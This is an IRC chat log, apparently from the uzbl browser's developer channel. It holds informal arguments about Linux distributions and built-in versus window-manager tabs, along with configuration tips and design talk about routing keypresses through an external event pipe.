12:33 < hejki> Zaba: you can also just remove hal in case you like to :)
12:33 < Zaba> and hal is also conceptual shit and I don't really have enough time to say everything here.
12:33 < haste> I had a really good analogy before about that, but I've forgotten it over the years
12:33 < haste> I'll await your blog post!
12:33 < MichaelRaskin> Zaba, I think X.org team will fix existence of such a simple way to avoid using HAL
12:33 < Zaba> MichaelRaskin, x.org team is now suggesting people to use hal
12:34 < Zaba> so yeah, probably
12:34 < Zaba> but god damn it, I don't care
12:34 < Zaba> I can use the old version if I must
12:34 < lazzareth> "<haste> but gentoo is dying!" IT IS?
12:34 < Zaba> lazzareth, TOTALLY
12:34 < haste> FOR YEARS!
12:34 < hejki> heh
12:34 < Zaba> lazzareth, PORTAGE TREE STOPS BEING UPDATED IN 3 2 1
12:34 < haste> but I don't really care :P
12:35 < hejki> i bet xorg team has been bought by canonical
12:35 < MichaelRaskin> That's why many distributions (Arch and NixOS included) prefer to install X with upstream-declared dependencies by default
12:35 < Phillemann> Is there an alternative to Gentoo?
12:35 < hejki> the dontzap-change was too radical
12:35 < haste> I use it myself, but mainly just for the portage tree
12:35 < Zaba> Phillemann, there is exherbo, which is ran on hatred towards gentoo and hype, you might want to try it
12:35 < Phillemann> Zaba: I've been using paludis for years now and it's really superior to emerge, but I don't know about exherbo yet.
12:36 < Zaba> at least paludis doesn't require boost these days
12:36 < Phillemann> It doesn't? o_O
12:36 < Zaba> no
12:36 < DuClare> Zaba: I think the hatred goes the other way around..
12:36 < Zaba> DuClare, no
12:36 < Phillemann> How'd they get around boost...strange...
12:37 < Zaba> DuClare, exherbo appeared because a couple gentoo devs were too egomaniacal to work in a team properly and the team in question didn't give a shit
12:38 < DuClare> If that were all there is to it, they wouldn't be developing exherbo now
12:38 < Zaba> Phillemann, I haven't seen paludis' internals really, but I know that portage is a huge mess, at all levels.
12:39 < Zaba> DuClare, there is hatred towards paludis among some gentoo users, but not towards exherbo.
12:39 < hejki> arch is nice since you can do lots with it without actually wasting your time, like in completely source-based distros :)
12:39 < DuClare> Zaba: Yet a gentoo dev attacked the exherbo quotes db
12:39 < DuClare> (And got himself kicked)
12:39 < Zaba> DuClare, jerks are jerks, no matter what distro
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12:40 < hejki> Zaba: true :)
12:40 < Zaba> DuClare, luckily most of them just use windows, though, and don't bother us, smart people ;P
12:40 < lazzareth> On another note: Is it possible to implement an optional vim-like tabbing system in uzbl for those of us that don't use tiling window managers and have a hard time placing/managing/switching between 10-15 uzbl windows (normal browsing load). Is there a superhatred towards any kind of tabbing in this community?
12:40 < hejki> i like arch community, it has a great mixture of noobdom and egoism :)
12:40 < hejki> lazzareth: there is tabs for uzbl, see wiki
12:41 < lazzareth> hejki, Oh nice :D
12:41 < hejki> lazzareth: also i'd rather wonder the hatred against vim-like buffers. or maybe not hatred, but lack whatsoever
12:42 < hejki> lazzareth: another way of making "tabs" would be to use the bookmarks-script and dmenu with some custom actions
12:42 < Phillemann> I'd also _really_ appreciate if uzbl used tabs.
12:42 < hejki> lazzareth: e.g. bind :tabsave /path/to/script that echoes the site into a file
12:42 < Phillemann> And I _do_ have a tiling window manager (xmonad)
12:42 < Zaba> Phillemann, there would _really_ be blood if uzbl would get tabs builtin
12:42 < hejki> lazzareth: once the tab is saved, just use them as bookmarks ;>
12:42 < Phillemann> Zaba: Well, someone could simply fork it :P
12:42 < lazzareth> hejki, Interesting method.
12:42 < hejki> i would draw blood if uzbl hag tabs builtin
12:43 < hejki> Phillemann: why in hell, there is already user script for tab-support
12:43 < hejki> Phillemann: OSS suffers from too much forkin
12:43 < scj> I'm just waiting for some haskell wizard to write some uzbl extension for xmonad that groups all uzbl windows into a tab like window :v
12:43 < hejki> ffs.. wth it is with everyone using xmonad
12:43 < hejki> i just can't stand haskell :P
12:43 < Phillemann> scj: Selecting tabs via Meta+Number would be great, too
12:44 < scj> i like haskell, but haskell doesn't like me :(
12:44 < Phillemann> scj: I mean, there is Layout.Tabbed
12:44 < hejki> scj: i could like haskell, if it were so lame and tried to sell itself on the webpage with user testimonials
12:44 < hejki> :s/were/werent/
12:44 < Phillemann> hejki: You choose a language based on its website? :P
12:45 < hejki> scj: also, i dislike "functional" coding. mainly since it's not any functional to me
12:45 < hejki> Phillemann: no, but that's one deciding factor
12:45 < lazzareth> Hes not wrong -> http://learnyouahaskell.com/starting-out
12:45 < hejki> Phillemann: e.g. i don't do PHP since it uses an ellyphant as logo
12:45 < lazzareth> I mean http://learnyouahaskell.com
12:45 < Phillemann> hejki: lol :D
12:46 < hejki> Phillemann: actually i dont do php since it's not as handy as perl :)
12:46 < Zaba> I don't do php because any half-good feature it has was stolen from perl anyway
12:46 < scj> Phillemann: I know there's layout.tabbed, but it's not exactly what I want
12:47 < hejki> xmonad seems to be quite nice oob tho
12:47 < Phillemann> hejki: I don't do PHP because the dynamic type system isn't as strict as I like it.
12:47 < Phillemann> I think _that_ is a valid argumente for or against a language...
12:47 < Phillemann> -e
12:47 < Phillemann> scj: Indeed. I asked the xmonad guys about, for example, selecting tabs via numbers, but nobody answered. :/
12:48 < hejki> Phillemann: ok, i don't do haskell since i don't like it's basic orientation, functionality
12:48 < Zaba> Phillemann, that's not a reason to bloat uzbl
12:48 < DuClare> Huh.. I thought Haskell's type system is very strict :|
12:48 < Phillemann> hejki: Ah okay :)
12:48 < hejki> DuClare: Phillemann was talking about php :)
12:49 < DuClare> Right
12:49 < DuClare> How come I missed that
12:49 < hejki> Phillemann: and i've tried haskell in other thingies too, not just for configuring xmonad (which isn't actually haskell)
12:49 < hejki> Phillemann: it's just reading configuration file and making your changes :P
12:49 < Phillemann> Hehe, true
12:49 < Phillemann> It's mainly copypaste from the extension's manual. ;)
12:50 < hejki> heh true
12:50 < Phillemann> If it is an extension like a new layout, for example...
12:50 < hejki> maybe that's why i like awesome
12:50 < hejki> it's more like programming your own wm :)
12:50 < Zaba> I never could bother to configure awesome3
12:50 < Zaba> I ended up using dwm
12:51 < hejki> awesome is horrendous oob :)
12:51 < Dieterbe>  lazzareth> Hes not wrong -> http://learnyouahaskell.com/starting-out <-- hmm is it just me or does it look alot like python?
12:52 < rob|> fun script: http://pastebin.com/m6ebc99b3  gives you this: http://omploader.org/vMXZkeg
12:52 < Dieterbe> hejki: oob= ?
12:52 < hejki> Dieterbe: out of box
12:52 < hejki> Dieterbe: it's just you
12:52 < Phillemann> Dieterbe: Well, both use whitespaces as "scoping method"...
12:53 < hejki> Dieterbe: it just looks like python since it has similar way of using interactive shell :)
12:53 < Zaba> whitespace as "scoping method" is sick
12:53 < Dieterbe> rob|: do i see a dzen statusbar there?
12:53 < rob|> yeah..
12:54 < Dieterbe> it looks pretty
12:55 < DuClare> I'd like to use dzen but it doesn't support thingsy I need :<
12:55 < Phillemann> Zaba: Well, you don't _have_ to use it in Haskell. I'm also not really a fan of it...
12:55 < rob|> DuClare: like?
12:56 < Zaba> I'd like to use something like the current statusbar, totally primitive.
12:57 < rob|> anyways, i quite like the easy scritability of uzbl. try doing the above task with ff ;)
12:58 < scj> rob|: yeah, that does look pretty neat
12:58 < Dieterbe> scriptability is the whole point :)
12:58 < DuClare> rob|: Fonts are my primary issue
12:59 < rob|> DuClare: how so?
12:59 < DuClare> rob|: I need xft,
12:59 < DuClare> And I need to be able to define multiple fonts.
12:59 < rob|> you can do both with dzen
12:59 < rob|> only with the svn "version", though
12:59 < DuClare> Right
13:00 < DuClare> Finally..
13:00 < rob|> the only thing not implemented yet is preloading xft fonts, though you can still load them at runtime with ^fn(fontname)
13:14 < Dieterbe> i like the idea of external statusbars, but i just don't see a feasible way to have 20 windows showing with each their own statusbar, correctly positioned. and then there are things like additional x windows, keyboard focus etc
13:15  * Dieterbe gone for food
13:15 < hejki> it's actually really weird that uzbl doesn't support anything with multiple pages on single window by default. at least screen-like behaviour would be generally accepted i guess :)
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13:18 < Zaba> hejki, why is it weird?
13:18 < hejki> Zaba: well i guess mainly since uzbl is directed for mostly ppl that navigate via keyboard
13:19 < hejki> Zaba: and most ppl of them use screen (or a window manager with similar features)
13:19 < Zaba> screen is junk
13:19 < Zaba> and it'd be complicated, limiting and duplicating if uzbl had that functionality anyway
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13:21 < rob|> the point is that we want each uzbl instance to be a separate OS process
13:21 < Zaba> which makes perfect sense, with low footprint and dynamic linking
13:21 < rob|> with tabs the way ff and opera do it this is not possible
13:22 < madnificent> there are pro and cons for both systems, I guess...  In essence, this is similar to what IE does
13:22  * madnificent ducks
13:22 < madnificent> oh no wait, I think that was chrome
13:23 < Zaba> whoever thinks uzbl should have builtin tabs or multiwindowness or whatever should die a painf--- stop thinking so conservatively
13:23 < rob|> imo the better idea is to investigate what information needs to be supplied in which way in order to allow building tabbing frameworks around uzbl easily
13:23 < Phillemann> madnificent: It seems most people are either 100% pro tabs or 100% against them (most, though, against them).
13:23 < scj> with the @<..> tags and bidirectional uzblctrl, you could do some sort of tabbing scheme where you store the html locally
13:24 < scj> come to think of it, I should grab rob|'s tree and try hack something together
13:24 < Zaba> this is the "most people" syndrome in action: People want tabs because they are so used to them and because majority of browsers picked up the hype.
13:25 < hejki> Zaba: well i'm not looking for tabs, i'm looking for functionality where the screen space aren't :)
13:25 < madnificent> Phillemann: I am pro tabs... but it seems quite fair to have them out of uzbl itself.  IMHO tabs should be supported by the window manager, not by the application (I don't want a bazilion ways to handle tabs, and I think mixing thabs from different applications could be handy)
13:25 < hejki> Zaba: and in case you get along with only one site open, then i'm not the conservative one ;>
13:25 < Zaba> madnificent, I agree
13:25 < madnificent> no wait, I *know* that it is handy, from when I used ion3
13:26 < Zaba> I don't need tabs at all, for example
13:26 < Zaba> neither in uzbl nor outside it
13:26 < Zaba> if I need multiple sites I open multiple windows
13:26 < Zaba> that also gives me opportunity to rant about bad site layouts that don't scale :P
13:27 < hejki> hmm. using frameworks is nice, tabs are futile
13:27 < hejki> uzbl contains too much hate
13:27 < hejki> too bad
13:27 < madnificent> the menu bar should be outside of uzbl and that would need to support it... and the history should support it too.  But in essence, that is just the same as supporting multiple uzbl instances and having a system that allows you to throw in a local history (so you can skip back to the previous page)... not too strange
13:27 < Zaba> framworks -> bad
13:27 < Zaba> frameworks*
13:27 < madnificent> Zaba: hey! I'm coding one (more actually)
13:27 < hejki> Zaba: so everyone should things exactly like you're used to?
13:27 < Zaba> hejki, why?
13:27 < madnificent> hejki: that would still be like having a framework :P
13:27 < Phillemann> What I am also concerned with is if those WM tabs will render as quickly as uzbl internal tabs. In xmonad the tabs feel a bit slow...same thing with the python wrapper for tabs. Does it feel smooth? :)
13:27 < Zaba> if they want tabs they use a window manager that does them
13:27 < hejki> Zaba: well how else you get multiple instances of single program into same window? :)
13:28 < Zaba> personally I use a window manager not capable of tabbing and hey, I know what I'm doing
13:28 < hejki> i use a window manager not capable of tabbing as well
13:29 < Zaba> if you want tabs, reconsider your choice or send a patch
13:29 < Zaba> write a patch*
13:29 < hejki> some software is just better viewed with multiple instance in one window :)
13:29 < hejki> Zaba: well not tabs necessarily, vim-like buffer would be nice as well
13:29 < Zaba> then get a window manager that does that
13:30 < hejki> Zaba: for quick swapping of let's say 2 pages of guides i need to view almost concurrently and i cant spare any more monitor space :)
13:30 < Zaba> it's all too simple, right.  Uzbl shouldn't attempt to manage windows, buffers or whatever the fuck you want.  There are other programs for that.  Uzbl is a web browser.
13:30 < hejki> Zaba: bah.. i'll write them buffers myself for uzbl. making the pages cached into some .txt oslt
13:31 < madnificent> would someone please code tabs for stumpwm? :D
13:31 < Zaba> at least it's good that we don't use programs that integrate browsers and mail clients, people'd be asking for one in uzbl
13:31 < hejki> Zaba: i get the idea, butbut.. i just dont completetly agree with it. also wm handling tabs.. well not that pretty either. why wouldn't the toolkit used for certain gui application handle the tabs? ;>
13:31 < Zaba> but these days there's other hype
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13:32 < Zaba> hejki, it's as pretty as the wm gets it
13:32 < Zaba> and wm is something uzbl doesn't care about at all
13:32 < hejki> Zaba: well my point being that uzbl already uses toolkit which implements tabs..
13:33 < Zaba> hejki, no, it doesn't implement tabs that can stash multiple fucking processes into one window
13:33 < Zaba> google chrome takes extra memory because of its "one tab one process" scheme, and uzbl can do that, _with no fucking effort_
13:33 < hejki> Zaba: gee mon, back it up
13:33 < madnificent> hejki: if the wm does it, it is just as pretty and it would be in a consistent interface
13:33 < hejki> Zaba: what's with the hostility
13:33 < madnificent> hejki: also, it would make the system adaptable for those that don't want tabs
13:34 < madnificent> hejki: the idea of tabs is clearly cross-application, as many many applications are creating tabs these days...
13:34 < Zaba> hejki, because I'm fucking annoyed by hyped people who want things just because everything else has them, especially when they try to put them into programs that try _not_ to be what everything else is
13:34 < hejki> Zaba: i'm not especially wanting tabs, i'm just trying to follow my thoughpatterns on why to use them or how to make them
13:35 < lazzareth> Is uzbl currently capable of displaying multiple status lines?
13:35 < hejki> Zaba: i haven't in any occasion said that: "make tabs for uzbl, otherwise you suck lol!"
13:36 < hejki> Zaba: also, when you let yourself get annoyed, the ppl whining for tabs win ;>
13:36 < madnificent> Zaba: so, you will code tabs for stumpwm?
13:36 < Zaba> madnificent, why should I?
13:36 < Zaba> I don't need tabs at all.
13:36 < Zaba> nor do I use stumpwm
13:36 < madnificent> Zaba: because I don't have the time to code them (and I don't feel like the right guy for it for some reason) and am coding other foss things... and I want tabs :)  And I'm asking everyone like a braindead zealot
13:37 < Zaba> madnificent, then file a feature request on its bug tracker and pray
13:39 < rob|> this looks like a x<->y issue to me, if the thing that manages your window does not support a specific management feature the logical consequence is not to built that missing feature into the application :p
13:40 < madnificent> Zaba: stump seems to be rather 'passive in features' and 'agressive in responses' in its development (imho) (offtopic shutting up about it)
13:41 < Zaba> madnificent, then use a different WM
13:41 < madnificent> Zaba: I like it (and I trust lisp)
13:41 < Zaba> just because your window manager is $thing it doesn't mean uzbl should forget about its philosophy and GO!
13:42 < madnificent> Zaba: I didn't imply that anywhere
13:42 < madnificent> in fact, I explicitly argued the complete opposite
13:43 < hejki> xmonad supports tabs, right?
13:43 < rob|> yeah
13:43 < Phillemann> Well..._basically_
13:43 < Zaba> hejki, it's been mentioned above that yes
13:43 < Zaba> if they're not enough, they should be fixed
13:43 < madnificent> hejki: there is a layout for it... but imho, it didn't feel right
13:43 < madnificent> I think ion was the only one to do that right
13:44 < hejki> heh
13:44 < hejki> i feel strongly about ion dev ;>
13:44 < Phillemann> Who doesn't...
13:44 < scj> personally, I'd like some kind of fluxbox-ish layout for xmonad where you can group stuff together arbitrarily
13:44 < madnificent> many people do... he seems to be a pita... why?
13:44 < madnificent> his wm is very well thought out imho
13:44 < Zaba> tuomov might have a point, but he's a bit too negative.
13:44 < hejki> madnificent: the guy threatened archlinux with a sue since their users were distributing his software with custom patches (he didn't agree with, like xinerama and xft) via AUR
13:45 < hejki> Zaba: a bit?! :D
13:45 < Zaba>  --Captain Understatement
13:45 < madnificent> hejki: it isn't oss?
13:45 < madnificent> hejki: thanks for informing me!
13:45 < hejki> Zaba: guy turning into proprietary deving only since he doesn't agree ppl modifying his software
13:45 < hejki> madnificent: it's GPL yes, but the guy is insane ;>
13:46 < Zaba> hejki, okay, Captain Frank in me says: "He's a ranting ape!"
13:46 < madnificent> hejki: how can you sue over that?  rename it to fuckyouon3 and it's solved, no? (as he can only have a trademark on the name then)
13:47 < Zaba> he does have trademark on Ion
13:47 < hejki> madnificent: he THREATENED
13:47 < hejki> madnificent: wikipedia Ion and read more
13:47 < rob|> madnificent: google has every bloody detail, no need to recapitulate all that in here..
13:47 < madnificent> hejki: even though this is not the perfect channel to mention this: firefox had the same deal
13:47 < madnificent> rob|: yes, apologies
13:48 < hejki> madnificent: y i know
13:49 < lazzareth> Can uzbl displaying multiple status lines?
13:49 < lazzareth> Or multi-line status lines?
13:49 < scj> yes, check wiki
13:49 < rob|> no, though a multiline statusbar
13:49 < madnificent> lazzareth: yes
13:50 < lazzareth> Nice, Ill track it down.
13:50 < lazzareth> I'm making some small edits to the uzbl_tabbed script
13:50 < hejki> lazzareth: can you give me a screenshot of uzbl_tabbed?
13:51 < lazzareth> Ok.
13:52 < Phillemann> Can I select the tabs via Meta+Number in uzbl_tabbed? :>
13:52 < lazzareth> I've just made an update to the wiki to remove the border on the Gtk2:Notebook element to get rid of the border that used to surround the uzbl page
13:52 < lazzareth> 'window
13:52 < hejki> Phillemann: if not, i might do it shortly :)
13:52 < Phillemann> That'd be great :)
13:52 < hejki> or at least some ugly wrapper for it
13:53 < lazzareth> hejki, Or ctrl+tab and ctrl+shift+tab to cycle forward and backward
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13:53 < hejki> lazzareth: well i wouldn't do that, too emacs'ish binding, would hurt my wrist
13:53 < hejki> lazzareth: using gt gT would be an option tho :)
13:54 < lazzareth> Anything but ctrl page-up or page-down :P
13:55 < haste> mod4+ctrl+altgr+page-up !
13:55 < hejki> i might actually have time to do something tonite, got my 2.6.30 kernel finally compiled :)
13:55 < hejki> haste: that would be os x -version ;>
13:55 < haste> mac has a mod4 key? :D
13:56 < lazzareth> hejki, Heres the screenshot http://imgur.com/W1j9Y.png
13:56 < madnificent> lazzareth: looks good
13:57 < hejki> lazzareth: ahh.. at least the tabs are like that, not like most GTK-app tbs ;>
13:57 < lazzareth> Due to a limitation of the tabbing script it doesn't retain the status bar background color at the moment making the text in it barely visible.
13:57 < madnificent> hejki: I was surprised about that too
13:57 < lazzareth> hejki, Never fear there is an option to make them gtk like tabs :P
13:57 < hejki> lazzareth: err.. :D
13:57 < hejki> lazzareth: no ty :)
13:58 < hejki> lazzareth: i'm a bit sceptic towards gtk :)
13:59 < lazzareth> Though for my tastes I am going to turn "[ 1 2 3 4 5 ]" into "[ Google Sear.. ] [ Reddit! Wh.. ] [ WolframAlp.. ]"
13:59 < hejki> rather make the tabbing static :)
14:00 < Phillemann> lazzareth: Yeah, not this irssi-like "remember all the numbers" stuff
14:00 < hejki> lazzareth: and if it's possible to have multiple statusbars, why not make one with just good color underneath the real statusbar? :)
14:00 < hejki> that way it wouldn't look so harsh :)
14:01 < madnificent> set the numbers by standard (or a few letters of the page title) and allow users to rename them?
14:01 < lazzareth> hejki, It's a config problem at the moment defaulting to the gkt-default background colour (Though I am no expert on the matter)
14:01 < hejki> madnificent: or number them and give few letters of the title, no need for renaming :)
14:01 < lazzareth> Heres the script in question http://www.uzbl.org/wiki/uzbl_tabbed
14:03 < lazzareth> hejki, Yes, that way when it overflows you can see the numbered tabs like " < [ 12 Google Sear.. ] [ 13 Reddit! Wh.. ] [ 14WolframAlp.. ] >" like dmenu
14:04 < lazzareth> Aww shit, I can see myself getting no real work done tonight!
14:04 < madnificent> hejki: renaming could be a cool feature though
14:04 < hejki> :)
14:04 < hejki> tbh, when i quiet down and think about it.. tabs are actually pretty futile
14:05 < lazzareth> hejki, ?
14:05 < hejki> well.. it's not mandatory i guess
14:05 < hejki> i'm using tabs like bookmarks on most case
14:05 < hejki> s
14:06 < lazzareth> hejki, However not-mandatory doesn't mean "make it as hard as possible for people wanting tabs".
14:09 < hejki> ofc not
14:09 < hejki> and it's not hard as possible
14:10 < hejki> there is tabs
14:10 < Phillemann> I'll try the uzbl_tabbed script this evening. See how it performs. :)
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14:26 < scj> instead of the old "set <foo> = <bar>"
14:26 < rob|> it's still the same, not sure what you mean
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14:27 < scj> http://github.com/robm/uzbl/blob/3338b740dd23d3e88fc1722b56c5b8fda187b627/examples/configs/sampleconfig
14:28 < scj> vs http://github.com/Dieterbe/uzbl/blob/34a0ec4c9091c97aed9950d1b5c1fcdf01a6cf27/examples/config/uzbl/config
14:28 < Zaba> may 04 vs. jun 10
14:28 < lazzareth> Thats weird ^
14:28 < rob|> oh, is that my experimental branch? i develop in master, which is being synced with diet's experimental..
14:28 < scj> oh
14:29 < Zaba> scj, look at the dates, at least :p
14:29 < scj> doh
14:31 < scj> uzbl.org says robm/experimental, that's why I grabbed it
14:34 < rob|> hmm yeah, should be corrected
14:36 < Dieterbe_> o_O
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14:37 < Dieterbe_> in fact, once we start doing releases (which should be soon) everyone should be able to develop against master
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14:40 < Dieterbe_> (because if we do releases, we can permit to have unstable code in master)
14:41 < Dieterbe_> our current setup is actually some sort of releasing already, where merging exp into master is basically a release :P
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14:43 < scj> hmm, can't open the web inspector window
14:45 < rob|> right click -> inspect element, doesn't work?
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14:45 < scj> nothing happens and verbose doesn't say a thing
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14:47 < rob|> not sure, works for me.
14:47 < Dieterbe_> for me too, fwiw
14:47 < scj> vOv
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14:48 < scj> not that I really need it anymore when I can use uzblctrl instead
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15:08 < scj> hmm. injecting html with uzblcat wasn't as snappy as I had hoped
15:16 < rob|> unfortunatelly webkit does not have any means for passing the html chunk-wise, so we first need to read all data before webkit is able to render it
15:17 < Dieterbe_> why is that a problem?
15:18 < scj> I was just experimenting a little to see if it was possible to simulate some tab like functionality by storing the html document offline and then injecting it
15:19 < madnificent> scj: that would've been sexy too, but it would fail on the running of javascript
15:20 < scj> what? I got it working, it's just not snappy enough
15:20 < madnificent> scj: javascript that is running in the background will fail, as it may want to do stuff every second, but webkit isn't taking care of that
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16:35 < uranther> x-treme
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17:36 < alice|wl> hello, is there a variable substition in keycommands other than %s?
17:36 < alice|wl> something like that: bind    O         = keycmd_nl uri URI
17:36 < alice|wl> w
17:39 < scj> alice|wl: try bind O = sh 'echo "keycmd uri $6" > "$4"'
17:40 < uranther> bizarre syntax.. :P it's very literal
17:43 < alice|wl> command "bind	O" not understood. ignoring.
17:43 < alice|wl> ah, works
17:43 < alice|wl> there was a tab to much or something
17:44 < alice|wl> thats a nice one, thanks a lot
17:44 < alice|wl> oh, sending doesnt work. return does nothing
17:44 < alice|wl> :/
17:45 < scj> oh, then you need to add "bind uri _ = uri %s"
17:46 < alice|wl> does the trick
17:46 < madnificent> scj: why? what does that do?
17:47 < madnificent> scj: nvm, misread
18:00 < Dieterbe_>  scj> alice|wl: try bind O = sh 'echo "keycmd uri $6" > "$4"' <-- this command is the way to go right now, but will be deprecated in a few days, when i've merged in the variable expansion code :P
18:02 < alice|wl> Dieterbe_: scj gave me the same command
18:02 < alice|wl> I only had to bind "uri _" to make it work
18:03 < Dieterbe_> alice|wl: i know. i *quoted* scj
18:03 < alice|wl> :)
18:03 < alice|wl> ups
18:03 < alice|wl> I m looking forward to variable expansion
18:04 < MichaelRaskin> Maybe that should be factored out
18:04 < MichaelRaskin> So that uzbl would only open handler-pipe
18:04 < Dieterbe_> say what?
18:05 < MichaelRaskin> uzbl could try to throw away configuration scripts
18:05 < MichaelRaskin> It could try to open a pipe
18:05  * DuClare is puzzled
18:05 < madnificent> (incf MichaelRaskin)
18:05 < Dieterbe_> that's exactly what the current config is
18:05 < Dieterbe_> just some commands that you can send through stdin/fifo/socket
18:05 < MichaelRaskin> Current config is interpreted by uzbl
18:06 < Dieterbe_> you don't need to use --config
18:06 < DuClare> MichaelRaskin: How do you read a config without interpreting it?
18:06 < madnificent> Dieterbe_: I think MichaelRaskin wants to say that the statusbar etc should all be in external scripts
18:06 < MichaelRaskin> bind is extraneous
18:06 < DuClare> Extraneous?  How?
18:06 < Dieterbe_> madnificent: you need some interface. you can't directy modify the state of a process you know ;)
18:06 < MichaelRaskin> Keypresses could simply generate events piped to a special fifo
18:06 < Dieterbe_> oh
18:07 < Dieterbe_> you mean let something else then uzbl listen for keys
18:07 < Dieterbe_> like xbindkeys
18:07 < madnificent> Dieterbe_: you could send everything the user entered to a script... that script does the redirection to the correct script etc etc
18:07 < MichaelRaskin> Maybe even so..
18:07 < DuClare> Dieterbe_:  External input/statusbar ;)
18:07 < MichaelRaskin> Obviously, bind, sh and spawn are not strictly needed
18:08 < DuClare> MichaelRaskin: They are, if you want flexibility wrt handlers
18:08 < madnificent> decouple as much as possible from uzbl itself, it would make for the most flexible browser in town
18:08  * uranther is intrigued
18:08 < MichaelRaskin> There is a fixed set of handled events
18:09 < Dieterbe_> actually before uzbl even existed, my design goal was to handle all keyboard bindings through an external process. but then the problem becomes: when you have multiple open uzbl windows, there must be a way to programatticaly determine the uzbl instance to send it to. so, to avoid unneeded keystrokes, the easiest is to let the focused window listen for keyboard input
18:09 < DuClare> madnificent: You can already do everything via externals.  Bind et all are just a convenience for those who don't want to control everything via externals
18:09 < MichaelRaskin> That set can be altered at compile-time, events can be ignored etc
18:09 < madnificent> DuClare: which is like... no argument at all?
18:09 < DuClare> madnificent: Huh?
18:09 < MichaelRaskin> DuClare, I cannot ignore the config and just open a pipe to get all keypresses, can I?
18:10 < MichaelRaskin> And how can I pass a specified keypress to the rendered page (or to WebKit, if you wish)
18:10 < madnificent> DuClare: decoupling it means that you don't have to support it, that you can use whatever you want.  If the support for those binds is in the config, that will be the way to go... and it shouldn't (which is what I'm saying).  Whatever is external, is not bloating uzbl.
18:11 < madnificent> DuClare: forcing the system to use something external will create more diversity anyways
18:11 < madnificent> Dieterbe_: you could still monitor the keypresses, but just send them to one script immediately... wouldn't that work?
18:12 < Dieterbe_> madnificent: no, for the reason i just said
18:12 < MichaelRaskin> Dieterbe_, there is nothing that stops you from simply reporting them to a pipe
18:13 < madnificent> Dieterbe_: run the script, which will return you a socket to which you write the keypresses?
18:13 < madnificent> a pipe would be the unix way, yes
18:14 < Dieterbe_> madnificent: MichaelRaskin , so.. you type a keypress which is captured by "some" application. how does that application know which uzbl instance to send it to? let alone to know whether to send it to any uzbl instance at all or rather an other app?
18:15 < MichaelRaskin> Dieterbe_, you got me wrong
18:15 < MichaelRaskin> I press a key
18:15 < MichaelRaskin> It is captured by uzbl
18:15 < MichaelRaskin> And passed to event pipe
18:15 < MichaelRaskin> The handler listens the pipe
18:16 < MichaelRaskin> You could either include instance ID in the message (too much overhead), or simply have the pipe specified at the browser startup
18:16 < madnificent> Dieterbe_: I'd actually make the script return a socket to which uzbl first says which instance it is (essentially giving it a socket to send commands to) and let the script return a socket to which uzbl can write the keypresses to.
18:16 < MichaelRaskin> (or generated to be /tmp/uzbl_events-$PID-$WINDOW_ID
18:16 < DuClare> MichaelRaskin: And then you write a bash script which listens to all pipes asynchronously?
18:16 < DuClare> Right
18:17 < MichaelRaskin> DuClare, at that moment that is my choice
18:17 < MichaelRaskin> I have written udev replacement in bash (back when udev had to be in sync with kernel version)
18:18 < Dieterbe_> and what about incremental commands? where you type like '/searchterm' and it searches while you type? a setup like this seems to unnessecarily complicate things
18:18 < MichaelRaskin> Dieterbe_, don't you pass each keypress to the handler separately anyway?
18:18 < madnificent> Dieterbe_: it would send every kep press to the command handler, that would send what uzbl needs to do on each pressed character.  Let the command handler decide what it wants to do with it
18:19 < MichaelRaskin> / would inject JS handler
18:19 < MichaelRaskin> keystrokes would inject calls of the handler
18:20 < Dieterbe_> madnificent: well actually it doesn't sound too bad. i guess it's a very similar situation as the cookie handler: it's (very) expensive but the only way to allow total customisation, i guess
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18:21 < Dieterbe_> madnificent: the question is: do we really want total customisation? can't we just use a good C library for C input?
18:21 < MichaelRaskin> Dieterbe_, in UNIX spawning a process is not that expensive
18:22 < MichaelRaskin> Dieterbe_, you now have to have a scripting language.
18:22 < madnificent> Dieterbe_: it wouldn't necessarily be that expensive.  If you'd require the other process to open a socket, then it is simply sending the commands over the socket.  Which in linux is simply moving the data in memory
18:22 < MichaelRaskin> If you just generate events, nothing should be done in that limited inner script
18:22 < madnificent> Dieterbe_: you could also send it through a shell script (which is fair too, then that script would send it around, I guess)
18:23 < MichaelRaskin> Actually, I think that an event pipe may allow a slightly cheaper cookie implementation
18:24 < Dieterbe_> actually that's our goal. keeping 1 process open for n cookie requests
18:24 < madnificent> Dieterbe_: you can see how far uzbl got in this short time by allowing total customisation outside of the browser... I guess it would be best to have a clear goal and separate as much as possible.  In essense: browsers use much memory and fairly much computing power, the overhead created by having all other things external is minimal
18:25 < madnificent> Dieterbe_: same thing for the caching system then?
18:25 < Dieterbe_> well the idea seems reasonable. i'm just thinking about a feasible way how one would "parse" the incoming commands.  
18:25 < MichaelRaskin> Dieterbe_, that means that you need a pipe where events go anyway
18:25 < Dieterbe_> madnificent: i'm not sure yet about how we should do caching
18:26 < Dieterbe_> MichaelRaskin: are you suggesting a pipe where multiple clients can listen on? (for each uzbl instance)
18:26 < MichaelRaskin> I suggest a pipe for every instance
18:26 < madnificent> Dieterbe_: '"parse" incoming comands'?
18:26 < Dieterbe_> instance of what? uzbl?
18:26 < MichaelRaskin> Yes
18:27 < Dieterbe_> MichaelRaskin: but on that pipe, you need multiple listeners (one for cookies, one for keybindscript etc)
18:27 < madnificent> Dieterbe_: (separate discussion for later: but my stance is that caching should be external too.  Different people will have different caching needs (devs vs users with much bandwith vs users with little bandwith vs much or little memory etc etc).  Caching is not browsing
18:27 < Dieterbe_> madnificent: if you have a bind like: 'bind ^O foo _ = open %s', that needs to be parsed
18:28 < Dieterbe_> madnificent: yeah but "external" is still loose. there can be multiple "external" implementations (including separate proxies)
18:29 < madnificent> Dieterbe_: it shouldn't be parsed.  It should be send straight to it.  Let the handler decide how it wants to handle "^O foo something something\n"  Just send each kepress to the handler
18:29 < MichaelRaskin> Dieterbe_, I could have a dispatcher there
18:31 < MichaelRaskin> Or you could create a per-uzbl-instance directory with one pipe per event type, if you want to keep it simplier
18:31 < madnificent> MichaelRaskin: you would catch other events than keypresses too?
18:31 < madnificent> you'd probably need some way to send the cliking on a link (etc) too
18:35 < MichaelRaskin> Clicking on a link may be considered part of the browsing.
18:35 < DuClare> We still don't have a method for dealing with IMEs
18:42 < Dieterbe_> what's ime again?
18:43 < DuClare> Input Method Editor/Engine
18:43 < Dieterbe_> right
18:43 < DuClare> It sits between an application and the input it receives, sort of
18:43 < Zaba> I don't care what happens as long as it's not complicated and doesn't try to do too much
18:44 < DuClare> But it's not quite that simple and needs application support
18:44 < DuClare> :/
18:44 < Zaba> so darn it to heck
18:45 < Dieterbe_> DuClare: do you agree i should just say "patch welcome" to madnificent / MichaelRaskin. or are there more complications i'm not seeing yet?
